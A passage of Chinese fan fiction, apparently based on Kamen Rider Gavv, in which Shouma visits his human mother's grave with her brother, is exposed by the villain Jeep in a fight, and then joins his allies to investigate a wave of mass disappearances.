“这间零食小铺是父母的遗产,也是妹妹最喜欢的地方。虽然现在大家都更喜欢新颖有趣的零食,但我实在不想做出改变,而且每年邀请孩子们举办活动,也是为了她没能实现的梦想。说我天真也好,固执也罢,我总觉得只要这家零食铺子还在,总有一天妹妹会回来的。”
“抱歉,和你说了这么多。你们两个实在太像了,一下子没忍住,如果美知留能见到你的话,一定也会很吃惊的。”
店长平和带笑的嗓音回荡在安静的小店中,与窗边叮当作响的日式风铃,花园内隐隐约约的打闹声混在一起,纷纷落到生真的耳旁。
然而,他却似乎什么都没听到,一切的一切都像被蒙上了一层雪花,隔绝在了另外的世界。
美知留?哪个美知留?
是井上美知留吗?
手账本还摊开在桌面上,停留在二十几年前大学的校园生活,生真仔细盯着纸面上俊秀的字迹与卡通图案,几乎看到了曾经妈妈握着自己的手一点点练习日语的五十音表,在漫长孤寂的时间里绘制色彩艳丽可爱有趣的涂鸦。
而如今,那些文字和涂鸦正缓慢地与纸张上的字迹重合。
“你怎么了?”
生真猛地回神,狠狠掐了一下指尖,尖锐的疼痛立刻让卡壳的大脑运转了起来。
“翻遍了手账本都不知道您妹妹的名字,所以刚才愣住了,我也很想认识一下她!”
急切的语气,难看的笑容,毫无逻辑的谎言,生真逃避似的低下头,恨不得揍自己一拳,只好咬着嘴唇等待对方的审判。
明明不想寻找妈妈的家人,他们的痛苦,质问,抗拒......全都让他相当害怕,但当事情真的发生在眼前时,他才发现自己的心是多么急迫。
想要知道妈妈的过去,想要知道妈妈的家庭,想要知道这个曾经仅停留在幻想中的人类世界里,与自己血脉相连的根源。
几秒,十几秒,也可能几分钟,生真不知道,指尖被衣角勒得生疼,在他即将抠破明黄色布料的时候,他听见了店长温和的嗓音。
“她叫井上美知留,如果你想见她的话,我可以带你去。
14. 石碑的泪痕
换下平时穿着的色彩艳丽的大码童装,剪裁不错的黑色衬衣与长裤将少年的身形彻底勾勒出来。
身高在不断拉长,似乎已隐隐有超越绊斗的迹象,而曾经因为长期囚禁导致的苍白皮肤与瘦弱身形早已在频繁的战斗中被坚实的肌肉所替代,宽阔的肩膀与全身的薄肌蕴藏了比砂糖人更为强大的力量。
幸果满意看向自家好员工,不过大半年,那个常常饿晕在小巷子里等着被好心路人捡回家的落难小狗已变得像个成熟可靠的大人。
而现在,他会学习到更多人类社会的传统习俗,人情世故,文化礼仪,变得更像人类,而不是斯托马克家的红腹口。
只是......
手中捏着的糕点是美味生亲手做的,从傍晚忙活到大半夜,似乎摒弃一切杂念般将自己的灵魂都揉入了手中的面团里,那个常年神采飞扬的孩子少见地带上了难以明说的愁思,只有呼唤他的时候才仿佛如梦初醒,露出一如既往的笑容。
明明心里有事却什么都不说,这个缺点,从来没改变过。
将糕点与清酒送到他的手中,幸果没来由地一阵心慌,她拉住开门欲走的生真,认真道:“早点回家。”
按照从好友那收到的地址,辛木田绊斗拐入另一条街道,盛开的白玫瑰的馥郁花香便扑面而来。
昨天好不容易得到了井上美知留的消息,失踪时间也还算对得上,只是时间过得太久,没见过生真妈妈的肖像,也不知道这位美知留女士的家人是否还能找到,一切都是未知数。
更何况昨天一见到生真那副无忧无虑,热情洋溢的笑容,早已打好腹稿的话语却再难以开口。
踏入花香浓郁的小院,入眼便是色彩鲜艳的“怀旧零食店”招牌。
绊斗心中一紧,再次核对了一下地址。
“原木町8-7-1”,是这里没错......
这家店的店主应该是昨天那群孩子们委托送礼的对象,而生真肯定已经见过他了!
他快步走入小花园内,本该营业中的零食小铺却并未开门。
这......
“请问您是找井上优先生吗?他今天和幸果小姐家的小员工一起出门了哦~”
隔壁邻居家的花园内传来一声问候,绊斗习惯性展示出脖子上的证件,挂起职业笑容。
“您好,我是自由撰稿人辛木田绊斗,现在正在跑新闻。”
远处的树荫下,一双精致华贵的小皮鞋停驻在此,静静注视着认真攀谈的记者先生,修长苍白的指尖有一搭没一搭地轻点树干,颇为悠闲。
忽然,那指尖停顿了下来,鲜红娇嫩的唇瓣缓缓咧开一道缝隙。
“井上优......那个女人的哥哥?”
早就该意识到的。
井上生真一步落在井上优的身后,视线追随着对方手中提着的鲜花——不是祭祀常用的菊花,而是白玫瑰与向日葵,井上先生说是带给妹妹和父母的。
妈妈喜欢白玫瑰,这是生真从小就知道的。不过砂糖人世界没有玫瑰,于是妈妈亲手教自己用白纸叠了出来,一朵送给妈妈,一朵在西塔和吉普的生日会上被他们踩烂在了脚下。
名字,字迹,失踪的时间,喜欢的事物,做事的习惯,即使性格与生真记忆中的画面并不完全重合,但他知道一定是妈妈。
脚步声回荡在寂静的墓园内,视线滑过一块块黑灰色的墓碑,上面的黑白人像或平静,或微笑,不知道这里有多少自然死亡的人类,又有多少是被临时工抓走,永远“失踪”的受害者。
而妈妈只是其中一个,作为幸运儿,又或是最为不幸的那一个。
“我们到了。”
生真停下脚步,站定在井上优背后。
视线越过前方变得有些佝偻的身体,他看到戴着眼镜,儒雅随和的男人;看到面容慈祥,眉眼弯弯的女人;再往旁边,长发,马尾,笑容灿烂的年轻女孩儿。
非常漂亮。生真心想。
不论是自己从未见过的同向日葵一样明媚的笑容,还是从圆润明亮的眼瞳中透出的那股伶俐与骄傲,都将女孩儿本就明艳的面容装点得更为夺目。
她不该因为一场错误的,荒谬的,自说自话的一见钟情,就被剥夺了未来与希望,成为幸福的牺牲品。
而自己的出现更是成为了这场错误的延续。
如同被烫到了一般,生真踉跄着后退了一步,不够宽大的衬衣下,畸形的腹口若隐若现。
“这两位是我的父母,而这位就是我的妹妹,井上美知留。”
井上优边接过生真手中的东西,掏出清水与毛巾,边开玩笑似的说道:“我就说你们两个很像吧,笑起来也是一样的,这种充满力量与希望的笑容每次都能鼓舞到我。”
妈妈对人类世界的描绘对幼小的我来说是希望,而我努力扬起的灿烂的笑容,同样也是妈妈的希望。
生真急切地从井上优手中抽走毛巾,扯出浅浅的笑容,温和的下垂眼与浓密的睫毛在对方的视线中与相片上的女孩儿缓缓重合。
不......
井上优怔怔看着早已转过身去的孩子,下意识做出否定,只是那种从第一眼便察觉的熟悉感却无法遏制地开始在心中疯狂滋长。
湿润的毛巾抚过冰凉的石碑,从顶端到正面,沿着沟壑细细擦拭,清水从毛巾的边缘缓缓滴落,顺着石料一路滑落至黑白色的相片上,在灿烂的笑容上留下浅浅的水渍,如同未干透的泪痕,而后再沿着沟壑一路向下,描绘出“井上美知留”的字样。
墓碑下是空的,妈妈什么都没留下。
死亡前的那一幕深深刻在生真的脑海中,自己被兰戈的眷属掐着脖子死死压在地上,而妈妈被腹口中的猩红长舌缠起悬吊于半空之中,流露出难以言喻的恐惧与绝望。
她的最后一句话是:
“快逃!”
“生真!快逃!”
而她失去意识前的最后一幕,是自己的孩子同样被长舌缠起来的画面。
砂糖人的血脉让自己免于一死,却被迫亲眼看着妈妈被做成黑暗零食的调味料,而被压榨干净的人类躯体则被格罗塔碾成粉末,丢进了加工厂的废料箱里。
当时的场景实在太过混乱,震惊,恐惧,茫然,以及不顾一切的逃亡,什么都来不及去细想,连悲伤都被抛之脑后。
他听话地逃,拼命地逃,兰戈的特工们射出密密麻麻的激光射线,从头顶,从脚下,从身侧袭来,穿透血肉时发出“噗嗤”的声音,高温灼烧伤口,从疼痛到麻木,再没有余力去思考对策,直到他精疲力尽地摔倒在一扇门上。
门锁被意外激活,他毫无预兆地跌入门内,而后便是稀薄的空气,灼烈的飓风,以及破开云层后下方如璀璨星空般闪亮的城市霓虹灯。
这是童话故事中的人类世界,是妈妈日思夜想的故乡......
手指擦去相片上的水渍,少女的笑容定格在了最明媚的时刻。当真正来到亡灵的居所,触碰到掌心下冰凉漆黑的墓碑时,他才有了这样的实感,妈妈确确实实不在了,不是被分隔在了两地,不是进入了永恒的沉眠,而是死亡。
将空间,时间,联系,未来,所有的一切全部斩断的,彻彻底底的死亡。
糕点,清酒,净水,线香,最后献上仍沾着露珠的美丽盛开的花束。复杂的仪式流程在安静的氛围里逐渐走向尾声,生真退后半步,合掌于胸前,本该是做出祈祷的时刻,希望妈妈不要再成为自己的妈妈,希望井上美知留来生能获得幸福,但是大脑却被滔天的情绪所占据,完全做不出任何回应。
理智几乎断了弦,悲伤有如实质扼住了咽喉,拽住了心脏,连声音都难以发出,只剩下压抑的喘息。明明打定主意不能让井上先生看出端倪,泪水却根本无法抑制地夺眶而出,他慌张低下脑袋,将面孔隐藏进阴影里,但似乎一切都已经来不及了。
“你......到底是谁?”
他听见身侧传来颤抖的疑问。
如同当初他与拉齐亚从格罗塔手中捡回一命时,听见绊斗的那一声质问,明明是五月初夏的天气,却让他如坠冰窖。
“我......”
“想知道他是谁吗?”
拙劣的谎言还未编完,熟悉的高傲戏谑的嗓音便抢先一步做出回应:“你可以来问我啊,我可是他亲哥哥哦~”
“亲哥哥”三个字被刻意强调,生真身体一颤,应激似的迅速回身,心脏几乎就要冲破胸腔。
漆黑靓丽的小皮鞋踏在寂静的墓园内,发出清脆动人的声音。来人身着黑白双色的宫廷长裙,留着同样黑白双色的齐肩长发,腰间一张黑紫色的口器正缓缓蠕动,暗红色的斑驳血痕星星点点洒落其上,飘散出一股淡淡的血腥气。
这片血痕来自于他手中不知道被拖行了多久的人类。
“怪......怪物!!!”
“吉普哥哥......”
两道声音同时响起,井上优瞪大双眼,不敢置信地望向井上生真,对方似乎才意识到说错了话,朝自己伸出的手僵在半空,嘴张了半天,却不做反驳。
他向后踉跄了几步,一下软倒在地。
“好久不见了红腹口,我好想你啊~”
生真收回手,向前几步将井上优挡在身后,视线下意识投向吉普手中的人类,心脏不自觉狂跳起来。
对方一步步靠近,左手用力一扯,藏在背后的人类面容暴露在眼前。
辛木田绊斗!
“你到底想做什么?!”
如同回应强烈的战意,四周传来窸窸窣窣的动静,却又在井上优惊恐的茫然四顾之中偃旗息鼓。
饱藏如预料中一样未曾出现,吉普挑衅似的朝生真扬了扬手中几乎毫无反应的人类,随手丢在地上,小皮鞋狠狠撵上对方的胸口,带出一阵痛苦的呻吟。
“井上优,井上美知留,井上生真。”视线跟随指尖依次落到三个名字上,相同的姓氏被刻意排列在一起,如同在暗示那无形之中的红线,从一开始就将三人的命运紧紧捆绑在一起。
“好一个井上生真,那么喜欢你母亲的姓氏吗?不过才离开家里几个月,你就连自己尊贵的姓氏都抛弃了?”
“生真·斯托马克”
母亲。
井上优一下子捕捉到了关键词。
相似的眉眼,相似的性格,相似的作风,明明自己早有发现,为什么偏偏被下意识忽略了......
这个把眼前的怪物称为“哥哥”的人,是美知留的孩子,名字叫井上生真。
不......是生真·斯托马克——一个绝非人类会使用的姓氏!
“他说的是真的吗?”
井上生真低着头一言不发,急促起伏的胸膛和捏紧到泛白的拳头证明来人句句属实。
不知道哪来的勇气,他从地上爬了起来,一把揪住生真的衣领,迫使那双相似的眼睛看向自己。
“你妈妈在哪里,我要见她!我要知道真相!”
他努力压着自己的语气,嗓音变得有些狼狈不堪,恐惧,茫然,焦虑,气愤,以及......欣喜。
是的,他松开揪着衣领的手,他应该是开心的,当突然意识到美知留可能还活着的时候,欣喜盖过了几乎所有的情绪,尽管妹妹失踪了这么多年,也可能被迫与那群怪物生活在一起,但至少还活着,还有了一个与自己如此相似的孩子,这是他想都不敢想的事!
但是,眼前的面容却突然变得煞白。
他想起了这孩子的眼泪,几分钟之前,他在美知留的墓前哭得泣不成声。
“你想见那个女人?”吉普嗤笑一声,“那可能有点晚了,那家伙在几个月前被做成了美味的零食,已经不知道被哪个砂糖人吃掉了哦~”
话音未落,雪白泛蓝的不知名生物破空而来,一下子隔开井上优与生真的距离,寒风凛冽,将两人本就僵硬的躯壳冻得更加麻木。
他看到生真掀开黑色的衬衣下摆,腰间不是人类该有的皮肤,而是一张鲜红色的口器,深深嵌进血肉之中,与整个人类的皮肤融为一体。
牙齿,舌头,深入内里的喉管,甚至连皮肤下跳动的血管都清晰可见。它咬下了那雪白色的冰凉事物,血红色的舌尖抵住了它,不算尖锐的牙齿卡在两侧,原本安分的口器豁然蠕动起来,如同一个完全启动的器械,或者说一个彻底苏醒的活物,将整个侵入的事物包裹入体。
它发出高昂的不知名音节,雪白泛蓝的奶油从生真的血肉中快速生长,眨眼间便彻底掩盖住人类的模样,变化为坚硬的铠甲。那张鲜红色的口器就这样被直接暴露在空气之中,仿佛生来就是这副铠甲的一部分。
而这一切都发生地太快了。
快到自己连信息都尚未消化,连真假都未曾思考,证据就被堂而皇之地直接展露在自己眼前,一点拒绝的余地都没有。
井上生真是一只......
[怪物]
妹妹死在了他们手里。
“我们之间的恩怨不要牵扯上其他人!”
轰——
双拳相接,爆裂的冰雾之中,生真一拳击上黑白双色的救世主K装甲,凌冽的寒气从拳心扩散,冰晶沿着触点快速攀升。然而,本应一拳震碎的装甲却如同软体轻微凹陷,指骨间的触感诡异异常,力道被卸去,吉普笑着站在原地,一脚踹开瓦伦。
生真瞳孔微张,察觉到不妙,咬咬剑从腹口中一击脱出,剑刃直击黑腹口!
余光一道深红闪过,生真心头一紧,耳边随即响起尖锐的金属击打声,咬咬剑被击飞到了远处。
太莽撞了!
他当即打算拉开距离,红光却再次闪过,他膝盖顿时一软,一下跪倒在地,双手被反剪在身后,巨大的力道几乎将胳膊扭成两节。
“他怎么会是其他人呢?他不是你的叔叔吗?”<
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吉普笑着亮了亮手中的烘焙马格南,手臂上的黑白装甲如同活物一般蠕动拉伸着攀上那柄武器,连接,覆盖,包裹,最后隐去五指分明的手掌,将武器与臂膀融为一个整体。
泛起热流的枪口贴上近在咫尺的红色口器,连手指都不用动弹,仅需一个念头,深红的子弹立刻就会击中那张腹口。
“砰!”
灼热的火光一下子炸开,生真瞬间倒飞出去,猛得撞上不远处的树干,冰晶碎裂的声音中,稀薄雾气如烟花般绽开。
吉普举着枪挥开冰凉有如实质的冰晶,红腹口正惨白着一张脸从地上挣扎着爬起,腰间的腹口并未受到致命伤害,而那只雪糕饱藏却不见了踪影。
真够忠诚的。
吉普啧了一声,快步走上前一把揪住对方的头发,生真被迫支起上半身,整个人陷进了黏腻腥臭的装甲里。
“刚才看清楚了吗,这个家伙的真面目。”
吉普狠狠掐住对方的下巴,确保这张面孔与红腹口被清清楚楚地展示在井上优面前。
“你想知道的真相,就是井上美知留在十几年前生下了这只怪物,并在几个月前为了保护他成为了黑暗零食的原料,被活生生榨干成了粉末,连尸体都没留下。”
“我可没有说谎哦~你可以问他,这家伙可是在旁边看得一清二楚呢。”
井上优沿着黑灰色的墓碑滑坐下来,失去神色的瞳孔中映照出红腹口的模样。
事情终究还是往自己绝不想看到的方向发展了。真相被吉普以调笑的口吻轻易揭开,二十年里漫长孤寂的生活几乎将妈妈折磨地失去理智,时刻都生活在随时会被杀掉的恐惧中,但是......她从未放弃过逃离的希望。
她说要带自己逃回人类世界。
每年,每月,每天,她都会笑着说,“我们一定能一起回去!”
直到他抛下妈妈逃跑的那一天。他来到了人类世界,妈妈却被永远困在了那里。
他低下头,避开井上优的视线,失去了挣扎的力气。
鲜红发烫的枪口对准了不远处的瓦伦,吉普凑到生真的耳边,低声笑道:“几个月前,你没有能力救下你的母亲,而几个月后的今天,你依然会亲眼看着你的好友,你的血亲死在你的眼前。如果不是因为你,他们根本不会变成现在这样,这是你杀死西塔的代价,记住了吗?”
铠甲贴着自己的脸颊,冰凉的温度一寸寸渗透进皮肤,钻入心脏,将四肢都冻得发麻。他看到枪口炸出烈火,橘红色的残影在眼前放大,完全遮住了绊斗的身影。
掐着脖子的指尖一瞬间收紧,模糊的视线,急促的心跳,滔天的恐慌,他仿佛回到了斯托马克,回到了黑暗零食的加工厂,再次亲眼见证母亲的死亡,而自己与那时一样无能为力。
就在这时,一道细小的深红光芒如流星般闯入众人的视野,一声巨响,子弹被截断,刺眼的火光中,灼热的硝烟味与红豆年糕的香甜味一下子爆发开来,纠缠成难以言喻的奇怪味道。
吉普眉头一挑,刚捕捉到布拉姆的身影,晶蓝色的箭矢在一瞬间便已逼近身侧,他果断放开红腹口,刚往旁边翻滚躲开,银金色的护盾当即拔地而起,迅速将两人隔绝开来。细长滑腻的水母触须趁机攀上生真的身躯,在吉普气急败坏的咒骂声中被迅速带离到一边。
在地上翻滚出好几圈,流通的空气与扬起的尘土呛得生真不住咳嗽。僵硬的大脑终于重新运转起来,他当即爬起来冲向另外两个人,葡萄软糖追随强烈的意志钻入腹口。与此同时,大量晶蓝色的箭矢配合地在吉普的眼前炸开,灰白的雾气于一瞬间吞没半片墓园。
初夏不算炎热的微风逐渐吹散浓重的烟尘,吉普环顾四周,早已不见其他人的身影。
救世主K的装甲随之解开,血肉重新组成黑白双色的砂糖人,吉普拨弄了一下腹口位置的人皮小偶,三四个眷属应召而出。
“找到他们。”
逃脱吉普的追踪,拉齐亚犹豫了片刻,决定先行一步将绊斗送去登特叔公那里,生真和井上优需要沟通,而他——一个砂糖人,不适合待在旁边。
“你为什么不救你妈妈?!”
拉着胳膊的手掌被猛地甩开,井上生真踉跄着回身,衣物之下,畸形口器的轮廓闯入井上优的视野。
明明有那么强大的力量......他紧抿嘴唇,一把揪住生真的衣领,“她是你亲生母亲吧,为什么不救她!为什么能眼睁睁看着她被杀害却无动于衷!”
然而,对方只是躲开视线,露出一如既往的笑意。“先和我回欢乐游行好吗?零食店很快就会被吉普找到的,绝对不能回去。”
手腕被用力拽住,井上优跌跌撞撞地跟了上去,如同被钳制的羔羊。
“为什么不回答我!”
井上优挣扎着,箍着手腕的手掌如同钢筋铁块,哪怕再怎么努力都撼动不了分毫,他们的力量这么强,强大到可以把人类当作玩物,连反抗的余地都没有。
美知留居然在那种地方一个人生活了二十多年......
“为什么她死了你还活着......”强压下的悲伤终于翻涌而来,他瞪大双眼,上了年纪的眼睛逐渐爬满红血丝。“难道说因为那种怪物才是你的家人,因为美知留是你们眼中脆弱无能的人类,所以根本不在乎她的死活吗?!还是说只顾着自己逃跑,连妈妈都可以放弃了!”
脚步一下顿住,生真脸上的笑意再也维持不住,牵着的手臂僵在那里,又被狠狠甩开。
“不敢回答我吗,生真·斯托马克?”
井上优喘着粗气,眼看着面前的人脸色陡然煞白。就因为这场灾难导致了他如今家破人亡的局面,明明自己已经接受了事实,却又突然被告知妹妹被怪物折磨了二十年后惨遭杀害,尸骨无存,甚至连她留下的亲生孩子的态度都暧昧不清。
不管是逃避,无能,懦弱,又或是冷漠无情,嗜血弑亲,他全部都不能接受。
“对不起,是我太没用了。”
他听到了对方颤抖的气音。
垂下的五指猛地捏紧,呼啸的拳风下一秒便贴上生真的脸颊,那张苍白的面孔瞬间变得一片通红。
井上优维持着姿势僵在原地,胸膛急促起伏着,疼痛从指尖传递上心脏,他眨了眨眼,有些怔愣地看向自己的拳头。
果然还是很像人类。
“可以了,到此为止吧。”他呼出一口气,直起身,一步步朝后退去。
“之后不要再出现在我的面前。”
人类的身影消失在远处,意识到自己搞砸了一切,生真脱力地靠着围栏滑坐下来,抱着脑袋将自己整个人藏进了膝弯里。小饱藏们从角落中小心翼翼探出脑袋,三三两两朝生真身边汇聚,如同一个个小小的守护骑士。
空气静默了一阵后,膝弯中传来沙哑的嗓音:“跟着他,别被发现了。”
小饱藏们犹豫了片刻,最终一哄而散。
15. 糖衣之下是什么味道?
“小生真的叔叔吗?居然真的找到了啊......”
收起让人眼花缭乱的器械,登特叔公庞大的身躯再次埋进他心爱的工作台里。
“嗯,但是看起来不是什么好事。”
“你这家伙!为什么不把生真一起带回来,居然敢让他们两个单独在一起!”
“没劲,你就安分待着吧!”拉齐亚一把按住挣扎着想要爬起来的绊斗,冷哼一声道:“难道让我一个砂糖人呆在那里火上浇油吗?”
“你就庆幸吧,吉普根本没打算当场宰掉你,还要感谢我及时把你带回来。”
拉齐亚无奈收回目光,见登特叔公少见地发起了呆,他走到跟前弯腰轻敲了一下桌面,那张堆满东西的桌面被清理出来一小部分,正中央摆着一个小小的石臼和培养皿,而叔公正盯着里面的白色粉末怔怔出神。
“登特叔公,那个救世主K您有什么想法?”
“啊?”老人家迷茫了一瞬,而后叹气道:“如果是尼耶鲁布的杰作,恐怕你们会很难对付。他在创造上的天赋,对实验研究的痴迷,以及为了数据不顾一切的狂热,早就让他远远超越我这个老师了......”
“按照上次生真与尼耶鲁布交流出来的情报,它是以苦涩加布为基底的,而苦涩加布最突出的一个特点就是无限繁殖,并且具有极其强大的成长潜力。”
绊斗从小床上坐了起来,记者的职业习惯让他开始快速归纳起已知的信息。
“自从尼耶鲁布接手酸贺的实验之后,第一次出现是鬣狗砂糖人,他表现出了用普通物理方式无法被杀死的特点,副作用是使用者会被放大情绪,吞噬意志,而弱点则是黑腹口与砂糖人□□的连接处。”
“今天是第二次出现,就已经是吉普作为受试者了。那么严重的副作用尼耶鲁布居然已经把它解决了吗?”
“很难说有没有被彻底解决,毕竟自从西塔死后,吉普就已经变得疯疯癫癫的了,我刚潜入斯托马克公司的时候就听说他被兰戈关进屋子面壁思过,并且不允许任何人探视。精神状态本就不太正常的砂糖人就算使用了黑腹口也很难看出有没有问题吧。”
“那个副作用应该基本已经被解决了。”
熟悉的声音从洞口传来,讨论声齐齐中断,叔公唰地一下从工作台里挤出来,快步凑到生真的面前。见身后没有人类跟来,他望向生真,露出疑惑的神色。
“井上先生回去了,饱藏们跟着他,不会有事的。”
向叔公简单解释了几句,生真径直踏入山洞之中,视线越过砂糖人庞大的身躯投向深处。
绊斗的状态不算太糟,可能是身体中的砂糖人器官发挥了作用,也可能叔公的技术愈发好了,严重的伤口都已在缓慢修复,虽然脸色依然苍白,但精神状态却挺不错的。
生真轻吐出一口气,笑得轻松了一些。
“我想吉普使用的救世主K或许已经没有副作用了,否则兰戈不会允许尼耶鲁布把他当成受试者的。况且他的思维模式与柴崎先生完全不一样。”
生真拧起眉头,对拉齐亚做出提醒:“焙克的装甲已经能够和烘焙马格南融为一体,也就是说如果下次遇上吉普,一定要小心可能出现的武器。”
“而且我能感觉到,那副铠甲很有可能并不是酸贺使用的外置装甲,而是与我一样用血肉拼解而成的外骨骼,所以不管是柴崎先生还是吉普,都能随意改变那副装甲的外形,同样的,依靠苦涩加布极强的生命力,只要不触及到它的核心,也就是那张黑腹口,就能无数次复原。”
“但是那副装甲会传来很浓重的腐烂味道,还有上次柴崎先生明明遭受了致命攻击却完全没有受到伤害,这一点我始终想不通。”
死亡,修复,以及极其强大的生命力......
拉齐亚豁然想起之前翻阅过的酸贺的随身笔记,里面一行似乎是随手记的文字如今才让他猛然意识到指的到底是什么。
[永恒的生命]
所以救世主K就是酸贺想要完成的永恒生命,就是他替早夭的孩子制作的降临容器。
他不允许苦涩加布称呼他为父亲,是因为苦涩加布始终只是那副容器的基底,是迟早会被献祭的物品。
但永恒的生命是绝不可能存在的,极致的回复速度必然会带来大量的消耗,那么那股腐烂味道也就有了合理的解释。
如果一个生命早已死亡,或正在死亡,自己却完全意识不到,那么是否就是所谓的“永恒生命”呢?
毕竟,这幅容器的原主人本就是个死人。
“如果以此推断,柴崎导演就不是被剥夺了意识,那只是意识残留的投射,自由蠕动的不是骑士装甲,而是以黑白色铠甲为障眼法的腐烂血肉。”
“怪不得......”绊斗垂落的指尖揪紧了床单,没想到他杀死的对手只是一具仍保留着一定意识的尸体,真正的凶手依然是尼耶鲁布。
但不管怎么说,这一切的表现都在证明同一件事——救世主K在不断进化,并且速度超乎他们的想象。
吉普的针对,井上先生的质问,救世主K的威胁,墓园内的画面在生真的脑海中一幕幕闪回。
因为自己的弱小而失去想要守护的东西,明明从得到饱藏眷顾的那一刻起就决定不能再重蹈覆辙了,但如今让人窒息的无力感却依然如影随形。
想要变强。
想要守护珍视的东西。
如果做不到的话,自己的存在又有什么意义!
“叔公!”
“我知道你要说什么。”登特叔公摆摆手,打断了生真的请求。“不行,我做不到的。”
“你应该清楚饱藏的力量源泉。我做出来的东西永远只是一具空壳,最重要的核心,在这里。”
他单手握拳,轻轻触碰上生真的左胸,那里跳动着一颗鲜活的心脏。
然而,生真只是沉默了下来,气息变得愈发浮躁。
他微不可见地动了动眉头。如果可以的话,他想永远做生真的叔公,永远做生真的后盾,但是......
眼角余光正落在桌上摆放的白色粉末,如果是现在这个状况,不逼一把的话,恐怕在自己离开之前都不会见证他的进化。
这怎么能放心。
生真还想再说什么,却突然被幸果的电话所打断,而幸果发来的内容却让在场所有人的心一下提了起来。
[全球各地出现了多起大规模失踪案]
[xxx演唱会观众与歌手同时失踪]
[某客机失事,整架客机的活人凭空蒸发]
[某大型集会参与人员集体失踪,总计千余人]
绊斗一条一条划过,越看越是心惊,光是他们所在的城市都失踪了将近两百多人,比他们几个救下的所有受害者加起来还要多得多。
而这只是一个案子消失的人数。
虽然新闻播报的失踪案之间除了人数众多以外并没有任何关联,发生在各个国家,各个城市,即使既视感再强,也很难让各地政府相信是关联犯罪,达成合作,但他们却清楚,这一定是斯托马克动的手。
“难道是吉普吗?”
绊斗小心翼翼看了眼生真,他知道几个月之前西塔和吉普就是用这种方法逼出生真,想将他彻底击溃。只是那时候生真幸运地觉醒了蛋糕王的力量,不仅摧毁了他们的计划,还将西塔斩于刀下。
而现在,动手的范围居然一下扩大了这么多,这恐怕不仅是针对生真的行为,而是斯托马克家族内部发生了什么变故。
生真的面色果然瞬间涨红。
“你要去哪!”
绊斗匆忙拉住对方,快速的跑动让可怜的人类疼得龇牙咧嘴。
生真扶住东倒西歪的绊斗,语气倒是相当冷静:“那个大礼堂离得不远,我去看一下,应该还来得及查到什么线索。”
绊斗盯着对方垂下的眼睛,轻轻叹了口气。生真根本不会骗人,心情也全都写在脸上,只是平时大家都更愿意给足他空间自我消化。
但如今,搭着自己的双手在无意识地使劲,不知道是因为井上先生还是大型失踪案,整个人显得急切又冒进,绝对不能放任他自己一个人。
“不行!”绊斗走到前方,拦住了生真的去路:“我和你一起去。”
见生真不赞同地扫过浑身的绷带,绊斗愣了一下,然后抬起下巴叉了叉腰,扬唇笑道:“论侦查你肯定比不过我,而且如果真的有砂糖人,我相信你能保护我的!”
他转头看了一眼拉齐亚,对方会意,大咧咧往沙发上一靠:“你们去,我留下。我有些问题想问登特叔公。”
两个人离开,山洞中又只剩下石杵的研磨声,登特叔公头也不抬地坐在工作台前捣鼓他的器械,而拉齐亚就静静坐在沙发上,常年没劲的眼神直勾勾盯着叔公,盯得他背脊一阵发凉。
直到登特叔公再也憋不住,气呼呼地甩下手中的工具,一屁股坐到拉齐亚身边。
“你到底想问什么!”
他站起身走到工作台前,指了指石臼里面的粉末:“这是什么,能解释一下吗?”
今天他一见到叔公就注意到了,平时因为体型庞大,不爱穿人类衣物的砂糖人老头破天荒地给自己套了件衣服,而刚才讨论救世主K的时候也总显得心不在焉,也就只有现在这个状态的生真注意不到这些细节了。
叔公看向拉齐亚深蓝近黑的瞳孔,嘴角抽搐了几下,最终还是败下阵来:“这是我给小生真准备的武器,只不过还在研究中。”
“上次你们打败鬣狗砂糖人之后小生真就找过我很多次,当时我就察觉不太对劲,那副具有极其强大生命力的铠甲很可能会成为你们最大的威胁,所以那个时候我就在思考该如何为你们提供助力。”
他缓缓掀起自己的衣物露出腹口,原本锋利的尖牙被人为破坏了好几颗,牙龈上依然残留着斑驳血痕。
“人类世界的材料是承受不住饱藏爆发后的力量的,我只能就地取材。”
拉齐亚斜靠在工作台上的身躯一下站直,皱眉望向老头子。
腹口对砂糖人来说是极其重要的器官,是中枢,是武器,也是身份的象征,这也是为什么砂糖人的外表能够被人皮小偶所改变,而腹口却无法被掩盖的原因。
“所以你才一直不肯答应生真搬去欢乐游行吗?”
叔公愣了一下,而后极其夸张地哈哈大笑了几声,道:“是啊是啊,你可得给我隐瞒好了,绝对不能让生真知道。”
他整理好衣服,笑呵呵地拍了拍拉齐亚的肩膀:“况且只是几颗牙而已,我登特·斯托马克虽然年纪大了点,身体却硬朗得很,你们年轻人可不能小看老人家。”
拉齐亚啧了一声,脸色似乎更黑了些。
只是一想到如今生真也有些焦头烂额,如果能尽量不给他添麻烦,隐瞒下来似乎也是不错的选择。
“没劲。”
“既然已经做了武器,那刚才为什么不告诉他,至少能少一点担忧。”
登特叔公摇了摇头,再次重复了那句话:“不行的,我做不到。”
他随手捞起附近的辣辣薯片饱藏,小家伙歪了歪脑袋,亲昵地蹭向叔公的手掌。这是生真留在这边的饱藏,为了防止突发情况,生真在每个人身边都有留下一两只饱藏保证能在危机时刻及时得到消息,而生真所在的这片街区四处都有这群小精灵的身影。
他伸出手掌,将饱藏展示在拉齐亚面前,问道:
“你知道小生真的力量源自于什么吗?”
虽然说大礼堂就在附近,但那也是与其他失踪案相比。一个多小时的车程,即使幸果的消息足够灵通,等两人到的时候事发地也早已被警方控制了起来。
傍晚落日的余晖洒在拥有百年历史的古建筑上,反射出闪闪金光。生真停下机车,轻轻摇醒了后座的绊斗,两人并肩往礼堂方向靠近,空气中逐渐传来苦涩的气息,越是靠近便越是浓郁,让生真几欲作呕。
路边站着不少看热闹的路人,一个个大着胆子拍摄现场,幸果提供的视频大概就是这个视角。
往里的广场上席地坐着很多人,男女老少,几个几个聚集在一起,或愤怒,或不解,或抹泪,但更多的是对事实无法相信的茫然,就和井上先生一样。
他们大部分都是在接到通知的那一刻就着急忙慌地赶过来,又被警方封锁在了外围的受害者家属。而有更多的人仍站在出入口伸着脖子向里望,红着眼眶期盼警方带来好消息。
这时,出入口处撤出不少警察,等在外围的记者们一窝蜂涌到面前,伸出长枪大炮对准了负责人。
摄像头的闪光灯猛地刺入生真的眼睛,将他的注意力从崩溃哭泣的受害者家属身上
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挪开,下一秒,记者们的质问便无法遏制地钻入脑海。
“最近全球各地都有几起大型失踪案发生,同样都是参与人员全部凭空蒸发,你们认为这些案子之间有联系吗?”
“据观察近年来失踪人口数量逐步攀升,却始终没有突破性进展,民众的恐慌情绪似乎已开始蔓延,警方对此有什么看法?”
“大型失踪案似乎不是普通人能够实施的犯罪行为,而据民间传闻有怪物正在抓捕人类,警方对此有什么解释?”
